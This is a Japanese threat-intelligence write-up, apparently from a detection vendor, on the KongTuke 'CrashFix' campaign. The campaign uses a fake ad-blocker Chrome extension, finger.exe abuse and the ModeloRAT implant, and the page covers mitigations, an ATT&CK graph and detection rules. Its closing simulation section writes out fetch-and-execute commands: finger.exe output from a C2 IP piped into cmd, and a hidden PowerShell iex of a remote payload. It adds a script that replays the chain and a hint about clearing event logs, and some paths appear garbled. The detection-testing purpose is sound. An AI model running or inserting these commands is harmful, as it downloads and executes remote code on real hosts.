CrashFixの解剖:KongTukeの新しいおもちゃ
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
KongTukeは、uBlock Origin Liteを模倣した悪意のあるChrome拡張機能、NexShieldを配布しました。インストールされると、「CrashFix」セキュリティ警告を表示し、正当なブラウザセキュリティインシデントをシミュレートし、ブラウザをクラッシュさせて、ユーザーをクリップボードにコピーされた悪意のあるPowerShellコマンドを実行するよう強要します。このキャンペーンは、ドメインに参加しているシステムにPython RATのModeloRATを配備し、スタンドアロンホスト上で多段階のPowerShellチェーンを展開します。
調査
Huntressのアナリストは、拡張機能のコードを確認し、nexsnield.comへのコマンドアンドコントロールをリンクし、ペイロードをリバースエンジニアリングしました。彼らは、攻撃者の指示を取得するためにLOLBinとしてfinger.exeを悪用していること、及び .top ドメインを生成するDGA(ドメイン生成アルゴリズム)を観察しました。ドメイン環境については、研究者はHKCU Runキーによって維持されているRC4で暗号化されたPythonインプラントを確認しました。追加の手法として、解析防止チェック、 AMSIのバイパス、およびユーザーに迅速な完全コンプライアンスを強いるためのリソース枯渇戦術などが含まれていました。
緩和策
Chrome拡張機能IDをブロックし、人気のある広告ブロッカーを装う未知の拡張機能を監視します。nexsnield.comへのビーコン、C2 IP、およびDGAで生成されたドメインを検出します。LOLBinの使用を制限するために実行制御を適用し、特に広く使用されているソフトウェアを装った名前に注意して不審なRunキー値を警告します。
対応策
NexShield関連の拡張機能のインストールについてアラートを上げ、特定されたC2およびDGAインフラへのアウトバウンド接続と相関させます。影響を受けたホストを隔離し、拡張機能のアーティファクト、レジストリRunキー、スケジュールされたタスク、およびドロップされたファイルを収集します。ModeloRATの永続性を除去し、PowerShellステージコンポーネントを根絶し、エンドポイントを修復して検証します。
graph TB %% Class definitions classDef action fill:#FFEEAA classDef tool fill:#99CCFF classDef malware fill:#FF9999 classDef process fill:#CCFFCC classDef persistence fill:#D9D9D9 classDef operator fill:#FFCC66 content_injection[“<b>アクション</b> – <b>T1659 コンテンツインジェクション</b><br/>悪意のある広告が被害者を偽の Chrome ウェブストアページへリダイレクトし、悪意のある拡張機能を提供する”] class content_injection action software_extension[“<b>アクション</b> – <b>T1176 ソフトウェア拡張機能</b><br/>uBlock Origin Lite を装った悪意のある拡張機能がブラウザにインストールされる”] class software_extension action extension_nexshield[“<b>ツール</b> – <b>名前</b>: NexShield(悪意のある Chrome 拡張機能)<br/><b>説明</b>: 永続性を提供し、追加の悪意あるロジックを実行する”] class extension_nexshield tool user_execution[“<b>アクション</b> – <b>T1204.004 ユーザー実行</b><br/>拡張機能が PowerShell コマンドをクリップボードにコピーし、被害者が Win+R 経由で実行する”] class user_execution action powershell_process[“<b>プロセス</b> – <b>T1059.001 PowerShell</b><br/>追加のペイロードをダウンロードする PowerShell コマンドを実行する”] class powershell_process process cmd_process[“<b>プロセス</b> – <b>T1059.003 Windows コマンドシェル</b><br/>PowerShell が cmd.exe を呼び出して追加ステージを実行する”] class cmd_process process sandbox_evasion[“<b>アクション</b> – <b>T1497.002 仮想化/サンドボックス回避</b><br/>ペイロードは VM、サンドボックス、解析ツールの包括的なチェックを実行する”] class sandbox_evasion action dos_exhaustion[“<b>アクション</b> – <b>T1499.003 エンドポイント DoS</b><br/>Chrome ランタイムポートを大量に生成し CPU とメモリを枯渇させ、ブラウザをクラッシュさせる”] class dos_exhaustion action event_trigger[“<b>アクション</b> – <b>T1546 イベントトリガー実行</b><br/>Chrome Alarms API を使用して悪意のある動作を 60 分遅延し、10 分ごとに繰り返す”] class event_trigger action dead_drop[“<b>アクション</b> – <b>T1102.001 Web サービス Dead Drop Resolver</b><br/>動的に生成された DGA ドメインに接続し、次のステージを取得する”] class dead_drop action dga_resolution[“<b>アクション</b> – <b>T1568 動的解決</b><br/>ドメイン生成アルゴリズムが C2 用に週次ローテーションドメインを生成する”] class dga_resolution action bidirectional_comm[“<b>アクション</b> – <b>T1102.002 双方向 Web サービス通信</b><br/>ModeloRAT は HTTP 経由で暗号化されたコマンドと応答を交換する”] class bidirectional_comm action oneway_comm[“<b>アクション</b> – <b>T1102.003 一方向 Web サービス通信</b><br/>テレメトリおよびインストール/更新データを攻撃者管理サーバーに送信する”] class oneway_comm action encrypted_rc4[“<b>アクション</b> – <b>T1573.001 暗号化チャネル</b><br/>C2 トラフィックは RC4 対称暗号で暗号化されている”] class encrypted_rc4 action obfuscation[“<b>アクション</b> – <b>T1027 難読化されたファイルまたは情報</b><br/>ペイロードは Base64、XOR、AES により多層暗号化されている”] class obfuscation action stripped_payload[“<b>アクション</b> – <b>T1027.008 ストリップされたペイロード</b><br/>解析回避のためペイロードは削除・エンコードされている”] class stripped_payload action embedded_payload[“<b>アクション</b> – <b>T1027.009 埋め込みペイロード</b><br/>暗号化されたペイロードはメモリ上に直接ロードされる”] class embedded_payload action appcert_dll[“<b>アクション</b> – <b>T1546.009 イベントトリガー実行: AppCert DLL</b><br/>DoS ループは AppCert DLL 技術に類似した Chrome ランタイムポートを使用する”] class appcert_dll action remote_access_tool[“<b>マルウェア</b> – <b>T1219 リモートアクセスツール</b><br/>ModeloRAT は完全なリモートアクセス機能を提供する”] class remote_access_tool malware persistence_run[“<b>アクション</b> – <b>T1554 ホストソフトウェアバイナリの侵害</b><br/>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run が pythonw.exe を起動し永続化する”] class persistence_run persistence exec_guardrail[“<b>アクション</b> – <b>T1480.002 実行ガードレール</b><br/>UUID ビーコンにより以前の実行を確認し、重複感染を防止する”] class exec_guardrail action content_injection –>|leads_to| software_extension software_extension –>|installs| extension_nexshield extension_nexshield –>|provides_persistence| persistence_run extension_nexshield –>|copies_command| user_execution user_execution –>|triggers| powershell_process powershell_process –>|launches| cmd_process powershell_process –>|performs| sandbox_evasion sandbox_evasion –>|allows| powershell_process powershell_process –>|creates| dos_exhaustion dos_exhaustion –>|uses| appcert_dll extension_nexshield –>|sets| event_trigger event_trigger –>|delays| powershell_process powershell_process –>|contacts| dead_drop dead_drop –>|uses| dga_resolution dga_resolution –>|provides| bidirectional_comm bidirectional_comm –>|encrypts_with| encrypted_rc4 bidirectional_comm –>|exchanges_with| remote_access_tool oneway_comm –>|sends_to| encrypted_rc4 powershell_process –>|obfuscates_using| obfuscation obfuscation –>|includes| stripped_payload obfuscation –>|includes| embedded_payload remote_access_tool –>|communicates_via| bidirectional_comm remote_access_tool –>|sends_telemetry| oneway_comm persistence_run –>|creates| exec_guardrail exec_guardrail –>|prevents| persistence_run
攻撃フロー
検出
PowerShellからの疑わしい.NETメソッド呼び出し(PowerShell経由)
閲覧
疑わしいCURLの使用(cmdline経由)
閲覧
短いファイル名(cmdline経由)
閲覧
珍しいフォルダで手動またはスクリプト操作が行われた可能性があります(cmdline経由)
閲覧
疑わしいPowerShell文字列(PowerShell経由)
閲覧
PowerShellからの疑わしいWindows API関数の呼び出し(PowerShell経由)
閲覧
持続性のポイントの可能性 [ASEPs – Software/NTUSERハイブ](レジストリエベント経由)
閲覧
PowerShellを使用して疑わしいディレクトリにアーカイブが抽出されました(PowerShell経由)
閲覧
疑わしいフォルダからのPythonの実行(cmdline経由)
閲覧
PowerShell難読化の指標の可能性(PowerShell経由)
閲覧
システム列挙の可能性(cmdline経由)
閲覧
PowerShellによるダウンロードまたはアップロード(cmdline経由)
閲覧
検知するためのIOC(ソースIP): CrashFixを解剖する: KongTukeの新しいオモチャ
閲覧
検知するためのIOC(HashSha256): CrashFixを解剖する: KongTukeの新しいオモチャ
閲覧
検知するためのIOC(宛先IP): CrashFixを解剖する: KongTukeの新しいオモチャ
閲覧
検知するための IOC(メール): CrashFixを解剖する: KongTukeの新しいオモチャ
閲覧
KongTuke CrashFixの悪意のあるコマンド実行を検出 [Windowsプロセス作成]
閲覧
AMSIバイパスと証拠除去のPowerShellによる検出 [Windows PowerShell]
閲覧
シミュレーション実行
前提条件: テレメトリーとベースライン事前フライトチェックが合格している必要があります。
根拠: このセクションでは、検出ルールをトリガーするよう設計された敵の手法(TTP)の正確な実行を詳述します。コマンドと叙述は識別されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリーを生成することを目指します。
-
攻撃の説明とコマンド:
敵は最初に正当なfinger.exeバイナリを一時ディレクトリにコピーし、ct.exeにリネームしてから、階層化されたcmd /cチェーンを使用して、リモートC2サーバー(199.217.98.108)に接続する引数を与えてコピーしたバイナリを呼び出します。バイナリはペイロードをコマンドラインにストリーミングし、それが2つ目の非表示のcmdによって受信コードを実行します。その後、攻撃者はPowerShellを利用して、Invoke‑WebRequestを通じて2次ペイロードをダウンロードし、iexで即座に実行します。全てのステップはユーザー検出を回避するために最小限のUI(/min)で実行されます。1. finger.exeを%TEMP%にコピー → ct.exe 2. 実行: cmd /c start "" /min cmd /c "copy %windir%system32finger.exe %temp%ct.exe&%temp%ct.exe confirm@199.217.98.108|cmd" 3. PowerShellで2次ペイロードをダウンロードし実行: powershell -NoProfile -WindowStyle Hidden -Command "iex (Invoke-WebRequest -Uri 'http://199.217.98.108/payload.ps1' -UseBasicParsing).Content" -
回帰テストスクリプト: 以下のスクリプトは、Windowsのテストマシン上での攻撃チェーン全体を再現します。管理者権限のあるPowerShellセッションで実行してください。
#------------------------------------------------- # KongTuke CrashFix の悪意のあるコマンド実行 #------------------------------------------------- # 1. LOLBin(finger.exe)を%TEMP%にct.exeとして配置 $fingerPath = "$env:windirsystem32finger.exe" $tempExe = "$env:TEMPct.exe" Copy-Item -Path $fingerPath -Destination $tempExe -Force # 2. 悪意のあるcmdチェーンを実行(Sigmaルールに対応) $maliciousCmd = 'cmd /c start "" /min cmd /c "copy %windir%system32finger.exe %temp%ct.exe&%temp%ct.exe confirm@199.217.98.108|cmd"' Start-Process -FilePath "cmd.exe" -ArgumentList "/c $maliciousCmd" -WindowStyle Hidden # 3. PowerShellによるウェブダウンロードと2次ペイロードの実行 $payloadUrl = 'http://199.217.98.108/payload.ps1' $psCommand = "iex (Invoke-WebRequest -Uri `'$payloadUrl`' -UseBasicParsing).Content" Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -Command `$psCommand`" -WindowStyle Hidden #------------------------------------------------- -
クリーンアップコマンド: テストによって作成されたアーティファクトを削除し、残っているプロセスを終了します。
# コピーしたct.exeを削除 Remove-Item -Path "$env:TEMPct.exe" -ErrorAction SilentlyContinue # テストによって開始されたcmd.exeやpowershell.exeプロセスを終了(特定のコマンドラインでフィルタリング) Get-WmiObject Win32_Process | Where-Object { $_.CommandLine -match 'finger.exe|199.217.98.108' } | ForEach-Object { $_.Terminate() } # 必要に応じて、イベントログをクリアして再現性を確保します # wevlutil cl Security